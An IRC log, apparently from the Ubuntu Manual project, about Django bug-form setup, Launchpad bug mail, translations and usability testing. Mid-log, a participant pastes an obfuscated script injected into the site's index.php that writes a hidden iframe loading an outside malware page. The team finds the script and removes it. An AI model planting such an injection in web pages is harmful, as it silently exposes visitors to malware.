[21:54] <godbyk> nope. just: [23/May/2010 13:52:34] "GET / HTTP/1.0" 200 4075
[21:54] <dutchie> i mean the output from ./manage.py runserver
[21:54] <dutchie> hmm
[21:54] <dutchie> try submitting a test bug
[21:55] <godbyk> full output:
[21:55] <godbyk> $ ./manage.py runserver
[21:55] <godbyk> Validating models...
[21:55] <godbyk> 0 errors found
[21:55] <godbyk> Django version 1.1.1, using settings 'ump.settings'
[21:55] <godbyk> Development server is running at http://127.0.0.1:8000/
[21:55] <godbyk> Quit the server with CONTROL-C.
[21:55] <godbyk> [23/May/2010 13:52:34] "GET / HTTP/1.0" 200 4075
[21:55] <IlyaHaykinson> wtf. the website has spyware??
[21:55] <ubuntujenkins> IlyaHaykinson: yep we can't work ot why its doing it
[21:55] <godbyk> dutchie: 500 internal error.  [23/May/2010 13:55:35] "POST / HTTP/1.0" 500 108815
[21:56] <IlyaHaykinson> any recent checkins perhaps?
[21:56] <dutchie> that shouldn't happen
[21:56] <godbyk> IlyaHaykinson: no clue!  the google.com webmaster tools say that there's no malware on the site. when I refresh the site, the malware warning goes away.
[21:56] <godbyk> IlyaHaykinson: no recent checkins.
[21:56] <godbyk> IlyaHaykinson: I'm gonna have a proper look at the files when I get done getting dutchie's bug form up.
[21:57] <godbyk> dutchie: ah, debugging output from the browser.
[21:57] <godbyk> one moment.
[21:58] <godbyk> dutchie: http://paste.ubuntu.com/438487/
[21:59] <IlyaHaykinson> what're we putting up for bugs?
[21:59] <IlyaHaykinson> intreface to laucnhpad?
[21:59] <godbyk> dutchie: and they're right.. the um_bugs.bugs_bug table doesn't exist.
[22:00] <godbyk> the tables in um_bugs db are auth_* and django_*
[22:00] <dutchie> how odd
[22:00] <godbyk> IlyaHaykinson: yeah, that's the goal, I think.
[22:00] <dutchie> is ump.bugs in INSTALLED_APPS?
[22:00] <godbyk> dutchie: yes.
[22:01] <dutchie> try running ./manage.py syncdb
[22:01] <godbyk> it created the bugs_bug table.
[22:01] <IlyaHaykinson> bbiab
[22:02] <godbyk> submitting bug form again.
[22:03] <godbyk> ps is showing 'links https://staging.launchpad.net/+authorize-token?oauth_token=B0KP2Qht5SCVhCrsG7h8', fwiw.
[22:04] <godbyk> just hanging out.. waiting for something to time out or error out or maybe even succeed.
[22:09] <godbyk> dutchie: it's still waiting for a response.
[22:10] <dutchie> so can you connect to that staging.lp.net url?
[22:10] <godbyk> from where?
[22:11] <godbyk> worked in my local browser.
[22:11] <godbyk> asks for email and password.
[22:11] <godbyk> aha!
[22:11] <godbyk> I see the problem.
[22:11] <godbyk> the copy of links on the server doesn't have ssl support.
[22:12] <godbyk> it didn't show the error dialog on the manage.py screen -- only the black screen of the links browser.
[22:12] <godbyk> after hitting Q and exiting the browser on that screen, it says:
[22:12] <godbyk> The authorization page:
[22:12] <godbyk>    (https://staging.launchpad.net/+authorize-token?oauth_token=B0KP2Qht5SCVhCrsG7h8)
[22:12] <godbyk> should be opening in your browser. After you have authorized
[22:12] <godbyk> this program to access Launchpad on your behalf you should come
[22:12] <godbyk> back here and press <Enter> to finish the authentication process.
[22:13] <godbyk> Should I auth myself into launchpad via that url on my home machine?
[22:14] <IlyaHaykinson> ok, something on the site is inserting a <script> tag.
[22:15] <godbyk> IlyaHaykinson: weird.
[22:15] <godbyk> lynx is so damn pedantic.
[22:15] <IlyaHaykinson>                 <script language=JavaScript>document.write(unescape('%3ci%66ram%65 %77%69d%74h=1%20heig%68t=1 %62o%72der=0 fram%65%62o%72der'+'=0 %73rc=%27%68ttp://carolecos%74a%6e%7a'+'o.com%2f%73td'+'%2fgo.%70'+'h%70?sid=1%27%3e%3c/i%66rame%3e'+''))</script>            <div id="footer">
[22:15] <IlyaHaykinson>               
[22:15] <IlyaHaykinson> in my case
[22:16] <godbyk> IlyaHaykinson: that's interesting.
[22:16] <godbyk> IlyaHaykinson: where is it at on the page?
[22:17] <IlyaHaykinson> right above the footer
[22:17] <IlyaHaykinson> the URL is different
[22:17] <godbyk> okay. I'll look.
[22:17] <IlyaHaykinson> not every time, but on another machine it was different
[22:18] <godbyk> IlyaHaykinson: is it gone now?
[22:18] <godbyk> I just removed a line from the index.php file.
[22:19] <ubuntujenkins> http://paste.ubuntu.com/438496/ is now our home page
[22:19] <dutchie> godbyk: log in with the new secret UMP persona account
[22:20] <godbyk> dutchie: okay, lemme fix the site first.
[22:20] <godbyk> ubuntujenkins: try again.
[22:20] <ubuntujenkins> godbyk:  it works
[22:21] <dutchie> godbyk: no rush. i pm'ed you the logon
[22:21] <ubuntujenkins> no malware error as of yet
[22:21] <IlyaHaykinson> what was it?
[22:21] <godbyk> IlyaHaykinson: I'll email it to you.
[22:22] <godbyk> IlyaHaykinson: someone added a <script> line a the bottom of the index.php
[22:22] <godbyk> file
[22:22] <IlyaHaykinson> manually??
[22:22] <godbyk> most of the files are set to 755 perms.
[22:22] <IlyaHaykinson> ah
[22:22] <godbyk> I swear I've fixed them before.
[22:22] <godbyk> can you check the permissions of the files in the repos?
[22:22] <godbyk> (changes I make here will get overwritten in a moment.)
[22:22] <IlyaHaykinson> i don't know how bzr tracks those
[22:23] <godbyk> I'm pulling the latest version and we'll see what the permissions are.
[22:23] <godbyk> it does track them
[22:23] <godbyk> 'cause I've fixed 'em before.
[22:23] <godbyk> yeah, they're messed up in the repos.
[22:23] <IlyaHaykinson> probably gets checked out as rw for the user.
[22:23] <godbyk> I'll fix 'em there.
[22:23] <IlyaHaykinson> ah. interesting
[22:24] <ubuntujenkins> did the script line do anything bad?
[22:24] <IlyaHaykinson> try to load some malware site
[22:25] <ubuntujenkins> not good then
[22:26] <ubuntujenkins> night all
[22:26] <godbyk> pushing fixed permissions
[22:26] <godbyk> g'night, ubuntujenkins
[22:28] <godbyk> anyone know how I can set the default text-based browser to lynx (from links)?
[22:28] <godbyk> I guess I could be evil and symlink it. ;-)
[22:29] <Zeike> godbyk: update-alternatives might do that for you
[22:29] <godbyk> Zeike: I don't have root access.
[22:30] <godbyk> so it'd have to be an environment variable or something.
[22:30] <godbyk> the symlink is working for now.
[22:30] <godbyk> I just added a symlink named 'links' to my ~/bin/ dir. it points to /usr/bin/lynx.
[22:30] <godbyk> (and ~/bin is in the PATH before /usr/bin)
[22:32] <Zeike> I think $BROWSER should work
[22:32] <godbyk> Zeike: thanks, I'll give it a shot in a few minutes.
[22:44] <IlyaHaykinson> *sigh*. it's really hard to follow bug location instructions
[22:44] <IlyaHaykinson> "chapter 1, page 11, paragraph 2"
[22:44] <IlyaHaykinson> in a text editor, that's very ambiguous
[22:44] <godbyk> IlyaHaykinson: agreed.
[22:45] <godbyk> someone was posting patches with their bugs.
[22:45] <godbyk> kinda nice.
[22:45] <IlyaHaykinson> rly? didn't see htat.
[22:45] <godbyk> I didn't look to see which branch they patched against, though.
[22:45] <godbyk> Andrew, I think.
[22:45] <IlyaHaykinson> ah ok
[22:45] <IlyaHaykinson> i'll check it out when i get there
[22:46] <godbyk> yeah, I'd really like to get started on fixing up the second edition.
[22:49] <IlyaHaykinson> yup.
[22:49] <IlyaHaykinson> how close are we on the localized versions?
[22:49] <c7p> after the bug contest my mail is bombarded from bug reports :)
[22:50] <godbyk> IlyaHaykinson: Greek and German are putting on the final touches.
[22:50] <godbyk> I think everyone else is still translating or editing their translations.
[22:51] <IlyaHaykinson> galician?
[22:51] <IlyaHaykinson> they were so close before...
[22:51] <godbyk> I think they're still translating and proofreading.
[22:52] <dutchie> better get some sleep now, exam tomorrow
[22:52] <dutchie> night all
[22:52] <dutchie> (good luck with the django/launchpadlib stuff, godbyk)
[22:53] <IlyaHaykinson> do we want it all in launchpad?
[22:53] <IlyaHaykinson> seems like it's a big pita, what with all the emails to the list etc
[22:53] <IlyaHaykinson> i thought there was discussion of just filing it all into some local DB
[22:53] <IlyaHaykinson> and keeping it there
[22:54] <godbyk> dutchie: what would my next step be?
[22:55] <godbyk> or is this it?
[22:55] <godbyk> just get it to connect to launchpad and that's all that's left?
[22:57] <godbyk> I think I may have fixed it. testing...
[22:57] <godbyk> IlyaHaykinson: we did kill the bug reports on the mailing list.
[22:57] <godbyk> IlyaHaykinson: and it's apparently storing the bugs in a local db as well as launchpad.. or something.
[22:57] <godbyk> not really sure.
[22:57] <godbyk> still trying to set it up
[22:58] <humphreybc> GAH! I can't work out how to unsubscribe our team's ML to all the bug mail
[22:58] <ubuntujenkins> humphreybc: i think you have done iit
[22:58] <humphreybc> howcome I keep getting all the bug mail though?
[22:59] <c7p> so do I
[22:59] <humphreybc> I've got like 50
[22:59] <humphreybc> I don't think I have done it
[22:59] <godbyk> humphreybc: 'cause you've subscribed to all the bugs in the project? (there's a dropdown list to get all bug email directly)
[23:00] <ubuntujenkins> I only have the directly and not from the mailing list
[23:00] <humphreybc> one sec
[23:00] <ubuntujenkins> current subscriptions are https://bugs.edge.launchpad.net/ubuntu-manual/+subscribe
[23:00] <godbyk> https://bugs.staging.launchpad.net/~bugs-ubuntu-manual
[23:00] <IlyaHaykinson> it = what?
[23:00] <IlyaHaykinson> is this some 3rd-party tool?
[23:00] <humphreybc> http://humphreybc.homeip.net/files/bugs.png
[23:01] <humphreybc> everything is unchecked
[23:01] <godbyk> IlyaHaykinson: that's the result of a test with dutchie's bug form.
[23:01] <godbyk> IlyaHaykinson: sadly, it's not working on the public site yet.
[23:01] <ubuntujenkins> humphreybc:  thats what mine reads except i only have quickshot in the list of projects i can ssign
[23:01] <humphreybc> and our team isn't listed in the bug subscribers list on the right
[23:02] <godbyk> humphreybc: I think *you personally* are subscribed to all the bugs.
[23:02] <IlyaHaykinson> godbyk: i see.
[23:03] <humphreybc> godbyk, no, the emails are going to ubuntu-manual@lists.launchpad.net
[23:03] <ubuntujenkins> they are in the archive for the list https://lists.launchpad.net/ubuntu-manual/msg01880.html
[23:03] <godbyk> hmm..
[23:03] <godbyk> strange.
[23:03] <ubuntujenkins> I think the problem is we need to unscribe from the bugs that were filled before we added as contact like this one https://bugs.edge.launchpad.net/ubuntu-manual/+bug/584641
[23:04] <humphreybc> (10:03:31) thumper: the email contact falls back to the project owner if there is no bug supervisor set
[23:04] <humphreybc> (10:03:38) thumper: so the project owner will get the bug mail
[23:04] <ubuntujenkins> *added = removed
[23:05] <godbyk> 409 members -- wow!
[23:05] <IlyaHaykinson> yeah, but active??
[23:06] <humphreybc> I'm going to set our imaginary persona, Mikhail Berov, to bug supervisor so he gets all the mail instead of us
[23:06] <godbyk> IlyaHaykinson: Well.. :)
[23:06] <humphreybc> actually, no i'm not
[23:07] <godbyk> humphreybc: I'm ignoring Mikhail. 'cause dutchie didn't know the right password. I just created a bug reporter account instead.
[23:07] <godbyk> with the handy email of bugs@ubuntu-manual.org.
[23:07] <humphreybc> oh
[23:07] <humphreybc> okay then
[23:08] <godbyk> I s'pose I should make them a member of the team. ;-)
[23:08] <Zeike> humphreybc: Mind if I PM you for a minute?
[23:08] <humphreybc> sure
[23:09] <godbyk> IlyaHaykinson: 341 active members, per launchpad.
[23:10] <humphreybc> this team will now get the bug mail: https://launchpad.net/~ubuntu-manual-bugs
[23:10] <IlyaHaykinson> well, by active i mean 'actively contributing to our project'
[23:11] <godbyk> IlyaHaykinson: I know.  I have no idea what the number would be.
[23:11] <godbyk> IlyaHaykinson: You'd have to start by defining it much more clearly
[23:12] <IlyaHaykinson> whoever "Mandy Zhou" is -- s/he is so attentive to detail.
[23:12] <godbyk> IlyaHaykinson: re: 'freely contributed' -- you never know.. someone could be translating under duress.
[23:12] <IlyaHaykinson> godbyk: heh. yeah.
[23:13] <IlyaHaykinson> not going into that level of detail
[23:13] <IlyaHaykinson> i hate the acronym FLOSS for the same reason
[23:13] <humphreybc> IlyaHaykinson, meet Zeike, he's keen to help write things
[23:13] <Zeike> hello!
[23:14] <IlyaHaykinson> hi there
[23:14] <IlyaHaykinson> er, probably the most important thing right _now_ is bug fixing
[23:15] <humphreybc> yeah
[23:15] <humphreybc> that makes sense, seeing as we have so many :P
[23:15] <IlyaHaykinson> i don't think it's 'writing' per se.
[23:15] <IlyaHaykinson> but there are also some missing sections
[23:15] <IlyaHaykinson> in the hardware area, mainly
[23:15] <humphreybc> Zeike: Have you got the branch/LaTeX installed or anything like that?
[23:16] <Zeike> yes, I did that
[23:16] <IlyaHaykinson> Zeike: if you feel comfortable with writing a comprehensive guide to keyboard/mouse/multilingual input, that would be helpful.
[23:16] <IlyaHaykinson> we had to cut that last time
[23:16] <humphreybc> Or if you know anything about Wubi :)
[23:16] <IlyaHaykinson> but i think the keyboard settings are important...
[23:16] <ubuntujenkins> we should update the website with my lucid ppa
[23:17] <humphreybc> WHY AM I STILL GETTING BUG MAIL IN THE MAIN LIST
[23:17] <ubuntujenkins> I think the problem is we need to unscribe from the bugs that were filled before we added as contact like this one https://bugs.edge.launchpad.net/ubuntu-manual/+bug/584641
[23:17] <humphreybc> awh man
[23:17] <godbyk> humphreybc has a fun day ahead of him. :)
[23:17] <humphreybc> Ubuntu Manual Bugs is listed there though
[23:17] <humphreybc> our team isn't
[23:18] <ubuntujenkins> o it was earlier
[23:18] <IlyaHaykinson> godbyk: bug #584602 is all yours...
[23:18] <IlyaHaykinson> ubuntujenkins: not worth unsubscribing.
[23:18] <IlyaHaykinson> those bugs will be closed very soon
[23:18] <humphreybc> we're not even subscribed though
[23:19] <humphreybc> everything should be working fine now
[23:19] <IlyaHaykinson> on the previously-filed bugs, we are
[23:19] <IlyaHaykinson> oh wait.
[23:19] <IlyaHaykinson> no, i guess not on all of htem
[23:19] <humphreybc> ubuntu-manual-bugs@lists.launchpad.net should get the bug mail now
[23:19] <humphreybc> But I'm still getting bug mail!
[23:20] <Zeike> IlyaHaykinson: it would probably be best for somebody who actually uses multilingual input regularlly to work on that
[23:20] <Zeike> regularly, rather
[23:21] <godbyk> IlyaHaykinson: I don't understand what the bug is referring to.
[23:21] <godbyk> brb. I'm going to start dinner.
[23:21] <humphreybc> ubuntu-manual-bugs is getting some of Ilya's bug mail: https://lists.launchpad.net/ubuntu-manual-bugs/
[23:22] <IlyaHaykinson> godbyk: saying URLs are getting cut off in the PDF on display?
[23:22] <c7p> night all and I hope you fix the bug mail issue :)
[23:24] <IlyaHaykinson> Zeike: perhaps that's true. well, that's all i have off the top of my head though.
[23:25] <Zeike> IlyaHaykinson: I can just fix some bugs then
[23:27] <IlyaHaykinson> sweet, that'd be great.
[23:27] <IlyaHaykinson> i'm going to commit my fixes now, feel free to pull in 5 mins and continue fixing any of the new ones as you see fit.
[23:28] <IlyaHaykinson> argh, there's no bulk-edit for bugs in LP?
[23:29] <humphreybc> lol nope
[23:29] <humphreybc> harass thumper
[23:30] <thumper> IlyaHaykinson: what are you wanting to do?
[23:31] <IlyaHaykinson> switch status of a number of bugs at the same time
[23:32] <godbyk> IlyaHaykinson: I'm not seeing any URLs that are truncated.
[23:32] <IlyaHaykinson> maybe you can comment on the bug? i suspect that this is some PDF rendering issue...
[23:32] <IlyaHaykinson> but i don't know using what viewer etc
[23:33] <IlyaHaykinson> or resolve it as cannot repro, i guess
[23:33] <godbyk> IlyaHaykinson: fair enough. I didn't know if I was missing something obvious.
[23:38] <Zeike> IlyaHaykinson: I should assign some bugs to myself then?
[23:40] <IlyaHaykinson> Zeike: yeah. i don't think anyone else is working bugs right now, and so feel free to start with the older ones.
[23:41] <IlyaHaykinson> i mean, older ones from the last day or so.
[23:41] <IlyaHaykinson> in the 584XXX range
[23:41] <Zeike> ok
[23:41] <godbyk> Hey, IlyaHaykinson, I liked your survey stuff.  Sounds like a good plan. Do you think we'll be able to collect that much money?
[23:41] <IlyaHaykinson> i'm working on a few in the 5845XX range right now, for another 10 mins or so.
[23:41] <godbyk> IlyaHaykinson: Also, we should get together and work on the style guide soon, too.
[23:41] <IlyaHaykinson> godbyk: i will ask a friend of mine who is the CTO at kickstater
[23:42] <godbyk> kickstarter is awesome.
[23:42] <IlyaHaykinson> he should have an idea of a) whether they'd take us on, and b) whether it's likely we can raise that much
[23:42] <IlyaHaykinson> ok, i'll post the research stuff on to the main list tonight then, for feedback.
[23:43] <IlyaHaykinson> fwiw i can't find many examples of usability studies in the open source community
[23:43] <IlyaHaykinson> there's the better desktop thing
[23:43] <IlyaHaykinson> but that's novell, and that's several years old
[23:43] <IlyaHaykinson> there was some usability intern working on ubuntu this past cycle
[23:44] <IlyaHaykinson> on the software center, i think
[23:44] <IlyaHaykinson> and then the Canonical folks do some UI studies
[23:45] <godbyk> I know.
[23:45] <godbyk> Most of it appears to never get made public.
[23:45] <godbyk> The little bit that does occur, that is.
[23:45] <IlyaHaykinson> so a couple of questions
[23:45] <IlyaHaykinson> i'm going to try to use some space i think i can get
[23:45] <IlyaHaykinson> at UCLA
[23:45] <IlyaHaykinson> (i helped start a LUG there, a long time ago... they kinda like me there)
[23:46] <godbyk> cool
[23:46] <IlyaHaykinson> but i want to record the sessions
[23:46] <IlyaHaykinson> i have a good camcorder
[23:46] <IlyaHaykinson> and access to second one, even, if need be.
[23:46] <IlyaHaykinson> but do you know of a way to get the screen recorded?
[23:46] <IlyaHaykinson> we'd need a digital video mixer, or smth like that?
[23:46] <godbyk> You could try the recordmydesktop package in Ubuntu.
[23:47] <godbyk> (with gtk-recordmydesktop).
[23:47] <IlyaHaykinson> won't help for the installation process
[23:47] <godbyk> ah, that's true.
[23:47] <IlyaHaykinson> which is what i want to capture
[23:47] <IlyaHaykinson> i could use virtualbox
[23:47] <IlyaHaykinson> but that'll just confuse the subjects
[23:47] <IlyaHaykinson> i guess the other possibility is aiming a second camera at the screen
[23:47] <godbyk> in that case you'll want a converter that can read the vga out and put it on a tv and record that stream. (or using a different video out format).
[23:47] <IlyaHaykinson> and doing the little "clapper" thing like in movies to synchronize sound
[23:48] <godbyk> If you use a real PC (instead of a laptop), you can record the video from the video card.
[23:48] <IlyaHaykinson> using TV out?
[23:49] <IlyaHaykinson> that requires OS to be loaded. so i won't get any BIOS stuff
[23:49] <godbyk> Or a VGA-to-video converter box.
[23:49] <IlyaHaykinson> ok, gotta go. my kid is up.
[23:49] <godbyk> 'kay. see ya
[23:49] <IlyaHaykinson> i'll be online later tonight.
[23:49] <godbyk> okay.